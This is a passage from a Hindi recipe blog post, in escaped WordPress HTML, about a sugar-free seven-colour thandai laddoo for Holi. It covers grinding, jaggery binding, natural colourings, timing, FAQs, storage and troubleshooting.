\u0939\u0948\u0902\u0964<\/li>\n\n\n\n<li>\u0928\u092e\u0940 \u0915\u092e \u0939\u094b\u0924\u0940 \u0939\u0948 \u2192 \u0936\u0947\u0932\u094d\u092b \u0932\u093e\u0907\u092b \u092c\u0922\u093c\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u092b\u094d\u0932\u0947\u0935\u0930 \u0917\u0939\u0930\u093e \u0914\u0930 \u0928\u091f\u0940 (Nutty) \u092c\u0928\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u090f\u0902\u091f\u0940-\u0928\u094d\u092f\u0942\u091f\u094d\u0930\u093f\u090f\u0902\u091f\u094d\u0938 (\u091c\u0948\u0938\u0947 \u092b\u093e\u0907\u091f\u093f\u0915 \u090f\u0938\u093f\u0921) \u0925\u094b\u0921\u093c\u0947 \u0915\u092e \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<\/ul>\n\n\n\n<p> \u0927\u094d\u092f\u093e\u0928 \u0930\u0916\u0947\u0902: \u0930\u0902\u0917 \u092c\u0926\u0932\u0928\u0947 \u0938\u0947 \u092a\u0939\u0932\u0947 \u0939\u0940 \u0917\u0948\u0938 \u092c\u0902\u0926 \u0915\u0930 \u0926\u0947\u0902\u0964 \u091c\u0932\u0947 \u0928\u0939\u0940\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Controlled Cooling (\u0920\u0902\u0921\u093e \u0915\u0930\u0928\u093e) \u2013 10 \u092e\u093f\u0928\u091f<\/h3>\n\n\n\n<p>\u092d\u0941\u0928\u0940 \u0939\u0941\u0908 \u0938\u093e\u092e\u0917\u094d\u0930\u0940 \u0915\u094b \u092a\u094d\u0932\u0947\u091f \u092e\u0947\u0902 \u092b\u0948\u0932\u093e\u0915\u0930 \u0920\u0902\u0921\u093e \u0915\u0930\u0947\u0902\u0964<\/p>\n\n\n\n<p><strong>\u0915\u094d\u092f\u094b\u0902 \u091c\u0930\u0942\u0930\u0940?<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0917\u0930\u092e \u0905\u0935\u0938\u094d\u0925\u093e \u092e\u0947\u0902 \u092a\u0940\u0938\u0928\u0947 \u0938\u0947 \u092a\u0947\u0938\u094d\u091f \u092c\u0928 \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0920\u0902\u0921\u093e \u0915\u0930\u0928\u0947 \u0938\u0947 \u0926\u0930\u0926\u0930\u093e \u092a\u093e\u0909\u0921\u0930 \u092c\u0928\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u092c\u0947\u0939\u0924\u0930 \u0906\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Coarse Grinding (\u0926\u0930\u0926\u0930\u093e \u092a\u0940\u0938\u0928\u093e) \u2013 3\u20134 \u092e\u093f\u0928\u091f<\/h3>\n\n\n\n<p>\u092e\u093f\u0915\u094d\u0938\u0930 \u092e\u0947\u0902 \u091b\u094b\u091f\u0947-\u091b\u094b\u091f\u0947 \u092a\u0932\u094d\u0938 \u092e\u0947\u0902 \u092a\u0940\u0938\u0947\u0902\u0964<\/p>\n\n\n\n<p><strong>\u0915\u0902\u0938\u093f\u0938\u094d\u091f\u0947\u0902\u0938\u0940 \u0915\u0948\u0938\u0940 \u0939\u094b?<\/strong><br> \u0939\u0932\u094d\u0915\u093e \u0926\u093e\u0928\u0947\u0926\u093e\u0930<br>\u092a\u093e\u0909\u0921\u0930 \u091c\u0948\u0938\u093e \u0932\u0947\u0915\u093f\u0928 \u092a\u0947\u0938\u094d\u091f \u0928\u0939\u0940\u0902<\/p>\n\n\n\n<p><strong>\u0935\u0948\u091c\u094d\u091e\u093e\u0928\u093f\u0915 \u0915\u093e\u0930\u0923:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0926\u0930\u0926\u0930\u093e \u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u091a\u092c\u093e\u0928\u0947 \u092e\u0947\u0902 \u0905\u091a\u094d\u091b\u093e \u0932\u0917\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u092a\u0947\u0938\u094d\u091f \u092c\u0928\u0928\u0947 \u092a\u0930 \u0905\u0924\u093f\u0930\u093f\u0915\u094d\u0924 \u0924\u0947\u0932 \u0928\u093f\u0915\u0932 \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0905\u0927\u093f\u0915 \u0917\u094d\u0930\u093e\u0907\u0902\u0921\u093f\u0902\u0917 \u0938\u0947 \u092b\u0948\u091f \u0911\u0915\u094d\u0938\u0940\u0915\u0930\u0923 \u092c\u0922\u093c\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\"> Natural Sweet Binding (\u0917\u0941\u0921\u093c \u092e\u093f\u0932\u093e\u0928\u093e) \u2013 3\u20135 \u092e\u093f\u0928\u091f<\/h4>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0917\u0941\u0921\u093c \u092a\u093e\u0909\u0921\u0930<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0939\u0932\u094d\u0915\u093e \u0917\u0941\u0928\u0917\u0941\u0928\u093e \u0915\u0930\u0947\u0902 (\u0921\u092c\u0932 \u092c\u0949\u092f\u0932\u0930 \u092e\u0947\u0902 1 \u092e\u093f\u0928\u091f)\u0964<\/li>\n\n\n\n<li>\u0938\u0942\u0916\u0947 \u092e\u093f\u0936\u094d\u0930\u0923 \u092e\u0947\u0902 \u092e\u093f\u0932\u093e\u090f\u0902\u0964<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-1024x1024.jpg\" alt=\"\" class=\"wp-image-838\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-1024x1024.jpg 1024w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-300x300.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-150x150.jpg 150w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-768x768.jpg 768w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-12x12.jpg 12w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder.jpg 1200w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><strong>\u0917\u0941\u0921\u093c \u092a\u093e\u0909\u0921\u0930<\/strong><\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u0916\u091c\u0942\u0930 \u092a\u0947\u0938\u094d\u091f<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092e\u093f\u0915\u094d\u0938\u0930 \u092e\u0947\u0902 \u0938\u094d\u092e\u0942\u0926 \u092a\u0947\u0938\u094d\u091f \u092c\u0928\u093e\u090f\u0902\u0964<\/li>\n\n\n\n<li>\u0927\u0940\u0930\u0947-\u0927\u0940\u0930\u0947 \u0938\u0942\u0916\u0947 \u092e\u093f\u0936\u094d\u0930\u0923 \u092e\u0947\u0902 \u092e\u093f\u0932\u093e\u090f\u0902\u0964<\/li>\n<\/ul>\n\n\n\n<p><strong>\u0935\u0948\u091c\u094d\u091e\u093e\u0928\u093f\u0915 \u0915\u093e\u0930\u0923:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0917\u0941\u0921\u093c \u092e\u0947\u0902 \u092e\u094c\u091c\u0942\u0926 \u092e\u093f\u0928\u0930\u0932\u094d\u0938 (\u0906\u092f\u0930\u0928, \u092a\u094b\u091f\u0948\u0936\u093f\u092f\u092e) \u092a\u094b\u0937\u0923 \u092c\u0922\u093c\u093e\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n\n\n\n<li>\u0917\u0930\u094d\u092e \u0917\u0941\u0921\u093c \u092c\u0947\u0939\u0924\u0930 \u092c\u093e\u0907\u0902\u0921\u093f\u0902\u0917 \u0926\u0947\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0928\u092e\u0940 \u0938\u0902\u0924\u0941\u0932\u0928 \u0938\u0939\u0940 \u0930\u0939\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<p> \u091f\u0947\u0938\u094d\u091f: \u0939\u093e\u0925 \u092e\u0947\u0902 \u0926\u092c\u093e\u0928\u0947 \u092a\u0930 \u092e\u093f\u0936\u094d\u0930\u0923 \u091f\u093f\u0915\u0928\u093e \u091a\u093e\u0939\u093f\u090f\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Flavor Integration (\u092b\u094d\u0932\u0947\u0935\u0930 \u0938\u0902\u0924\u0941\u0932\u0928)<\/h3>\n\n\n\n<p>\u0905\u092c \u092e\u093f\u0932\u093e\u090f\u0902:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0907\u0932\u093e\u092f\u091a\u0940 \u092a\u093e\u0909\u0921\u0930<\/li>\n\n\n\n<li>\u0917\u0941\u0932\u093e\u092c \u092a\u093e\u0909\u0921\u0930<\/li>\n\n\n\n<li>\u0915\u0947\u0938\u0930 (1 \u091a\u092e\u094d\u092e\u091a \u0917\u0930\u094d\u092e \u0926\u0942\u0927 \u092e\u0947\u0902 \u092d\u093f\u0917\u094b\u0915\u0930)<\/li>\n\n\n\n<li>\u091a\u0941\u091f\u0915\u0940 \u0915\u093e\u0932\u0940 \u092e\u093f\u0930\u094d\u091a<\/li>\n<\/ul>\n\n\n\n<p><strong>\u0935\u0948\u091c\u094d\u091e\u093e\u0928\u093f\u0915 \u0915\u093e\u0930\u0923:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0907\u0932\u093e\u092f\u091a\u0940 \u0914\u0930 \u0938\u094c\u0902\u092b \u0921\u093e\u0907\u091c\u0947\u0936\u0928 \u0938\u092a\u094b\u0930\u094d\u091f \u0915\u0930\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n\n\n\n<li>\u0915\u0947\u0938\u0930 \u090f\u0902\u091f\u0940\u0911\u0915\u094d\u0938\u0940\u0921\u0947\u0902\u091f \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0915\u093e\u0932\u0940 \u092e\u093f\u0930\u094d\u091a \u0928\u094d\u092f\u0942\u091f\u094d\u0930\u093f\u090f\u0902\u091f \u090f\u092c\u094d\u091c\u0949\u0930\u094d\u092a\u094d\u0936\u0928 \u092c\u0922\u093c\u093e\u0924\u0940 \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">Division (\u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u0930\u0902\u0917 \u092e\u093f\u0932\u093e\u0928\u093e)<a href=\"http:\/\/7-rang-holi-special-healthy-thandai-ladoo-recipe-holi-special-recipe-no-sugar\">http:\/\/7-rang-holi-special-healthy-thandai-ladoo-recipe-holi-special-recipe-no-sugar<\/a><\/h4>\n\n\n\n<p>\u092e\u093f\u0936\u094d\u0930\u0923 \u0915\u094b 7 \u092c\u0930\u093e\u092c\u0930 \u0939\u093f\u0938\u094d\u0938\u094b\u0902 \u092e\u0947\u0902 \u092c\u093e\u0902\u091f\u0947\u0902\u0964<\/p>\n\n\n\n<p>\u092a\u094d\u0930\u0924\u094d\u092f\u0947\u0915 \u0939\u093f\u0938\u094d\u0938\u0947 \u092e\u0947\u0902 \u0905\u0932\u0917 \u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u0930\u0902\u0917 \u092e\u093f\u0932\u093e\u090f\u0902:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u093f\u0938\u094d\u0924\u093e \u092a\u093e\u0909\u0921\u0930 (\u0939\u0930\u093e)<\/li>\n\n\n\n<li>\u0939\u0932\u094d\u0926\u0940 (\u092a\u0940\u0932\u093e \u2013 \u092c\u0939\u0941\u0924 \u0915\u092e \u092e\u093e\u0924\u094d\u0930\u093e)<\/li>\n\n\n\n<li>\u091a\u0941\u0915\u0902\u0926\u0930 \u092a\u093e\u0909\u0921\u0930 (\u0917\u0941\u0932\u093e\u092c\u0940)<\/li>\n\n\n\n<li>\u0928\u093e\u0930\u093f\u092f\u0932 (\u0938\u092b\u0947\u0926)<\/li>\n\n\n\n<li>\u0917\u093e\u091c\u0930 \u092a\u093e\u0909\u0921\u0930 (\u0928\u093e\u0930\u0902\u0917\u0940)<\/li>\n\n\n\n<li>\u0915\u094b\u0915\u094b (\u092d\u0942\u0930\u093e)<\/li>\n\n\n\n<li>\u092c\u094d\u0932\u0942\u092c\u0947\u0930\u0940 \u092a\u093e\u0909\u0921\u0930 (\u092c\u0948\u0902\u0917\u0928\u0940)<\/li>\n<\/ul>\n\n\n\n<p><strong>\u0935\u0948\u091c\u094d\u091e\u093e\u0928\u093f\u0915 \u0915\u093e\u0930\u0923:<\/strong><a href=\"http:\/\/who.int (WHO)\">http:\/\/who.int (WHO)<\/a><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u0930\u0902\u0917 \u090f\u0902\u091f\u0940\u0911\u0915\u094d\u0938\u0940\u0921\u0947\u0902\u091f \u0938\u0947 \u092d\u0930\u092a\u0942\u0930 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n\n\n\n<li>\u0906\u0930\u094d\u091f\u093f\u092b\u093f\u0936\u093f\u092f\u0932 \u0915\u0932\u0930 \u0938\u0947 \u092c\u091a\u093e\u0935\u0964<\/li>\n<\/ul>\n\n\n\n<p> \u0930\u0902\u0917 \u092e\u093f\u0932\u093e\u0924\u0947 \u0938\u092e\u092f \u0939\u093e\u0925 \u0938\u0947 \u0905\u091a\u094d\u091b\u0940 \u0924\u0930\u0939 \u092e\u093f\u0915\u094d\u0938 \u0915\u0930\u0947\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> Hand Rolling Technique (\u0932\u0921\u094d\u0921\u0942 \u092c\u0928\u093e\u0928\u093e) \u2013 8\u201310 \u092e\u093f\u0928\u091f<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u0939\u093e\u0925\u094b\u0902 \u092a\u0930 \u0925\u094b\u0921\u093c\u093e \u0918\u0940 \u0932\u0917\u093e\u090f\u0902\u0964<\/li>\n\n\n\n<li>25\u201330 \u0917\u094d\u0930\u093e\u092e \u092e\u093f\u0936\u094d\u0930\u0923 \u0932\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0939\u0932\u094d\u0915\u0947 \u0926\u092c\u093e\u0935 \u0938\u0947 \u0917\u094b\u0932 \u0906\u0915\u093e\u0930 \u0926\u0947\u0902\u0964<\/li>\n<\/ol>\n\n\n\n<p><strong>\u0915\u094d\u092f\u094b\u0902 \u0939\u093e\u0925 \u0938\u0947 \u092c\u0928\u093e\u0928\u093e \u092c\u0947\u0939\u0924\u0930 \u0939\u0948?<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092c\u0949\u0921\u0940 \u0939\u0940\u091f \u0939\u0932\u094d\u0915\u0940 \u092c\u093e\u0907\u0902\u0921\u093f\u0902\u0917 \u090f\u0915\u094d\u091f\u093f\u0935 \u0915\u0930\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u0938\u094d\u092e\u0942\u0926 \u092c\u0928\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">Resting Period (\u0938\u0947\u091f \u0939\u094b\u0928\u0947 \u0926\u0947\u0928\u093e) \u2013 30 \u092e\u093f\u0928\u091f<\/h4>\n\n\n\n<p>\u0932\u0921\u094d\u0921\u0942 \u0915\u094b \u0916\u0941\u0932\u0940 \u092a\u094d\u0932\u0947\u091f \u092e\u0947\u0902 30 \u092e\u093f\u0928\u091f \u0930\u0916\u0947\u0902\u0964<\/p>\n\n\n\n<p><strong>\u0935\u0948\u091c\u094d\u091e\u093e\u0928\u093f\u0915 \u0915\u093e\u0930\u0923:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0905\u0924\u093f\u0930\u093f\u0915\u094d\u0924 \u0928\u092e\u0940 \u0938\u0902\u0924\u0941\u0932\u093f\u0924 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0938\u0902\u0930\u091a\u0928\u093e \u092e\u091c\u092c\u0942\u0924 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u092b\u094d\u0932\u0947\u0935\u0930 \u092c\u0947\u0939\u0924\u0930 \u092c\u094d\u0932\u0947\u0902\u0921 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> Total Scientific Timing Summary<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u091a\u0930\u0923<\/th><th>\u0938\u092e\u092f<\/th><\/tr><\/thead><tbody><tr><td>\u0930\u094b\u0938\u094d\u091f\u093f\u0902\u0917<\/td><td>6\u20138 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u0915\u0942\u0932\u093f\u0902\u0917<\/td><td>10 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u0917\u094d\u0930\u093e\u0907\u0902\u0921\u093f\u0902\u0917<\/td><td>4 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u092e\u093f\u0915\u094d\u0938\u093f\u0902\u0917<\/td><td>5 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u0936\u0947\u092a\u093f\u0902\u0917<\/td><td>10 \u092e\u093f\u0928\u091f<\/td><\/tr><tr><td>\u0938\u0947\u091f\u093f\u0902\u0917<\/td><td>30 \u092e\u093f\u0928\u091f<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p> \u0915\u0941\u0932 \u0938\u0915\u094d\u0930\u093f\u092f \u0938\u092e\u092f: \u0932\u0917\u092d\u0917 35\u201340 \u092e\u093f\u0928\u091f<br> \u0915\u0941\u0932 \u092a\u094d\u0930\u0915\u094d\u0930\u093f\u092f\u093e \u0938\u092e\u092f (Rest \u0938\u0939\u093f\u0924): ~70 \u092e\u093f\u0928\u091f<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">FAQ <a href=\"https:\/\/simplereceipes.in\/recipes\/\" data-type=\"page\" data-id=\"229\">Recipes<\/a><\/h1>\n\n\n\n<h4 class=\"wp-block-heading\">Q1: \u0915\u094d\u092f\u093e \u092f\u0939 \u0939\u094b\u0932\u0940 \u0938\u094d\u092a\u0947\u0936\u0932<strong>7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940<\/strong> \u092a\u0942\u0930\u0940 \u0924\u0930\u0939 \u092c\u093f\u0928\u093e \u0936\u0915\u094d\u0915\u0930 \u0939\u0948?<\/h4>\n\n\n\n<p>\u0939\u093e\u0901, \u092f\u0939 \u092c\u093f\u0928\u093e \u0936\u0915\u094d\u0915\u0930 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940 \u0939\u0948 \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u0907\u0938\u092e\u0947\u0902 \u0917\u0941\u0921\u093c \u092f\u093e \u0916\u091c\u0942\u0930 \u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Q2: \u0915\u094d\u092f\u093e \u092f\u0939 \u0939\u0947\u0932\u094d\u0926\u0940 \u0939\u094b\u0932\u0940 \u092e\u093f\u0920\u093e\u0908 \u0935\u091c\u0928 \u092c\u0922\u093c\u093e\u090f\u0917\u0940?<\/h4>\n\n\n\n<p>\u0905\u0917\u0930 \u0938\u0940\u092e\u093f\u0924 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0916\u093e\u0908 \u091c\u093e\u090f \u0924\u094b \u0928\u0939\u0940\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Q3: \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u0939\u0948?<\/h3>\n\n\n\n<p>\u0939\u093e\u0901, \u092f\u0939 \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u0942\u0938\u094d\u091f\u0930 \u0938\u094d\u0935\u0940\u091f \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Q4: \u0915\u094d\u092f\u093e \u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u092e\u0930\u0940\u091c \u0916\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902?<\/h3>\n\n\n\n<p>\u0938\u0940\u092e\u093f\u0924 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902, \u0921\u0949\u0915\u094d\u091f\u0930 \u0915\u0940 \u0938\u0932\u093e\u0939 \u0938\u0947\u0964 \u092a\u0942\u0930\u0940 \u0924\u0930\u0939 \u092c\u093f\u0928\u093e \u0936\u0915\u094d\u0915\u0930 \u0939\u0948?<\/p>\n\n\n\n<p>\u0939\u093e\u0901, \u092f\u0939 \u092c\u093f\u0928\u093e \u0936\u0915\u094d\u0915\u0930 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940 \u0939\u0948 \u0915\u094d\u092f\u094b\u0902\u0915\u093f \u0907\u0938\u092e\u0947\u0902 \u0917\u0941\u0921\u093c \u092f\u093e \u0916\u091c\u0942\u0930 \u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Q2: \u0915\u094d\u092f\u093e \u092f\u0939\u0939\u094b\u0932\u0940 \u0938\u094d\u092a\u0947\u0936\u0932 \u0930\u0947\u0938\u093f\u092a\u0940<br>\u0939\u0947\u0932\u094d\u0926\u0940 \u0939\u094b\u0932\u0940 \u092e\u093f\u0920\u093e\u0908 \u0935\u091c\u0928 \u092c\u0922\u093c\u093e\u090f\u0917\u0940?<\/h3>\n\n\n\n<p>\u0905\u0917\u0930 \u0938\u0940\u092e\u093f\u0924 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0916\u093e\u0908 \u091c\u093e\u090f \u0924\u094b \u0928\u0939\u0940\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Q3: \u0920\u0902\u0921\u093e\u0908  \u0930\u0947\u0938\u093f\u092a\u0940 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u0939\u0948?<\/h3>\n\n\n\n<p>\u0939\u093e\u0901, \u092f\u0939 \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u0942\u0938\u094d\u091f\u0930 \u0938\u094d\u0935\u0940\u091f \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Q4: \u0915\u094d\u092f\u093e \u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u092e\u0930\u0940\u091c \u0916\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902?<\/h3>\n\n\n\n<p>\u0938\u0940\u092e\u093f\u0924 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902, \u0921\u0949\u0915\u094d\u091f\u0930 \u0915\u0940 \u0938\u0932\u093e\u0939 \u0938\u0947\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> Storage Science<\/h3>\n\n\n\n<p> \u090f\u092f\u0930\u091f\u093e\u0907\u091f \u0915\u0902\u091f\u0947\u0928\u0930<br> \u0928\u092e\u0940 \u0938\u0947 \u0926\u0942\u0930 \u0930\u0916\u0947\u0902<br> 10\u201312 \u0926\u093f\u0928 \u0930\u0942\u092e \u091f\u0947\u092e\u094d\u092a<br> 15 \u0926\u093f\u0928 \u092b\u094d\u0930\u093f\u091c \u092e\u0947\u0902<\/p>\n\n\n\n<p><strong>\u0915\u094d\u092f\u094b\u0902 \u091f\u093f\u0915\u0924\u0947 \u0939\u0948\u0902?<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0915\u092e \u0928\u092e\u0940<\/li>\n\n\n\n<li>\u0921\u094d\u0930\u093e\u0908 \u0930\u094b\u0938\u094d\u091f\u093f\u0902\u0917<\/li>\n\n\n\n<li>\u0917\u0941\u0921\u093c \u0915\u093e \u092a\u094d\u0930\u093f\u091c\u0930\u094d\u0935\u0947\u091f\u093f\u0935 \u092a\u094d\u0930\u092d\u093e\u0935<\/li>\n<\/ul>\n\n\n\n<div class=\"wp-block-cover\"><img decoding=\"async\" width=\"399\" height=\"399\" class=\"wp-block-cover__image-background wp-image-840\" alt=\"\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/S22_480x480.jpg\" data-object-fit=\"cover\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/S22_480x480.jpg 399w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/S22_480x480-300x300.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/S22_480x480-150x150.jpg 150w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/S22_480x480-12x12.jpg 12w\" sizes=\"(max-width: 399px) 100vw, 399px\" \/><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-text-align-center has-large-font-size\"><strong>7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940<\/strong> <\/p>\n<\/div><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">expert Level Troubleshooting<\/h3>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u0938\u092e\u0938\u094d\u092f\u093e<\/th><th>\u0938\u092e\u093e\u0927\u093e\u0928<\/th><\/tr><\/thead><tbody><tr><td>\u0932\u0921\u094d\u0921\u0942 \u091f\u0942\u091f \u0930\u0939\u0947 \u0939\u0948\u0902<\/td><td>1 \u091a\u092e\u094d\u092e\u091a \u0917\u0930\u094d\u092e \u0926\u0942\u0927 \u092f\u093e \u0918\u0940 \u092e\u093f\u0932\u093e\u090f\u0902<\/td><\/tr><tr><td>\u092c\u0939\u0941\u0924 \u0938\u0916\u094d\u0924<\/td><td>\u0925\u094b\u0921\u093c\u093e \u0916\u091c\u0942\u0930 \u092a\u0947\u0938\u094d\u091f \u092e\u093f\u0932\u093e\u090f\u0902<\/td><\/tr><tr><td>\u092c\u0939\u0941\u0924 \u0928\u0930\u092e<\/td><td>\u0928\u093e\u0930\u093f\u092f\u0932 \u092a\u093e\u0909\u0921\u0930 \u092e\u093f\u0932\u093e\u090f\u0902<\/td><\/tr><tr><td>\u0930\u0902\u0917 \u0939\u0932\u094d\u0915\u093e<\/td><td>\u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u092a\u093e\u0909\u0921\u0930 \u092c\u0922\u093c\u093e\u090f\u0902<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><strong><em>\u0928\u093f\u0937\u094d\u0915\u0930\u094d\u0937<\/em><\/strong><\/p>\n\n\n\n<p>\u0905\u0917\u0930 \u0906\u092a \u0907\u0938 \u0939\u094b\u0932\u0940 \u092a\u0930 \u0915\u0941\u091b \u0905\u0932\u0917, \u0939\u0947\u0932\u094d\u0926\u0940 \u0914\u0930 \u092f\u093e\u0926\u0917\u093e\u0930 \u092c\u0928\u093e\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u092f\u0939 <strong>7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940<\/strong> \u0906\u092a\u0915\u0947 \u0924\u094d\u092f\u094b\u0939\u093e\u0930 \u0915\u094b \u0916\u093e\u0938 \u092c\u0928\u093e \u0926\u0947\u0917\u0940\u0964 \u092f\u0939 \u0938\u094d\u0935\u093e\u0926, \u092a\u0930\u0902\u092a\u0930\u093e \u0914\u0930 \u092a\u094b\u0937\u0923 \u0915\u093e \u0905\u0928\u094b\u0916\u093e 